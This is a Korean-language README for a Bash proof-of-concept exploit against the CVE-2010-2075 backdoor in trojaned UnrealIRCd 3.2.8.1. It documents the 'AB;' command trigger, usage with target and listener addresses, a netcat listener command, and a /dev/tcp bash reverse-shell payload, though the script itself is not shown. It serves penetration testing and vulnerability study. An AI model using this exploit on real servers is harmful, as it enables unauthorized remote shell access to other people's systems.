CVE-2010-2075 - UnrealIRCd 3.2.8.1 백도어 (Bash PoC)

설명

UnrealIRCd 3.2.8.1 소스 tarball에 삽입된 백도어를 위한 Bash PoC입니다. 변조된 바이너리는 IRC 포트로 전송된 AB; 접두사가 붙은 임의의 명령을 실행합니다.

사용법

chmod +x exploit.sh
./exploit.sh <RHOST> <RPORT> <LHOST> <LPORT>

예제:

./exploit.sh 192.168.1.10 6667 192.168.1.20 4444

실행 전에 리스너를 설정하세요:

nc -lvnp 4444

작동 원리

백도어는 수신 데이터에 AB; 접두사가 있는지 확인하고 나머지를 시스템 셸로 전달합니다. 페이로드는 /dev/tcp를 통해 bash 리버스 셸을 전송합니다.

영향을 받는 버전

• UnrealIRCd 3.2.8.1 (트로이 목마가 삽입된 tarball, 2009년 11월 - 2010년 6월)

참조

• https://nvd.nist.gov/vuln/detail/CVE-2010-2075
• https://www.unrealircd.org/txt/unrealsecadvisory.20100612.txt

면책 조항

교육 및 승인된 테스트 용도로만 사용하십시오.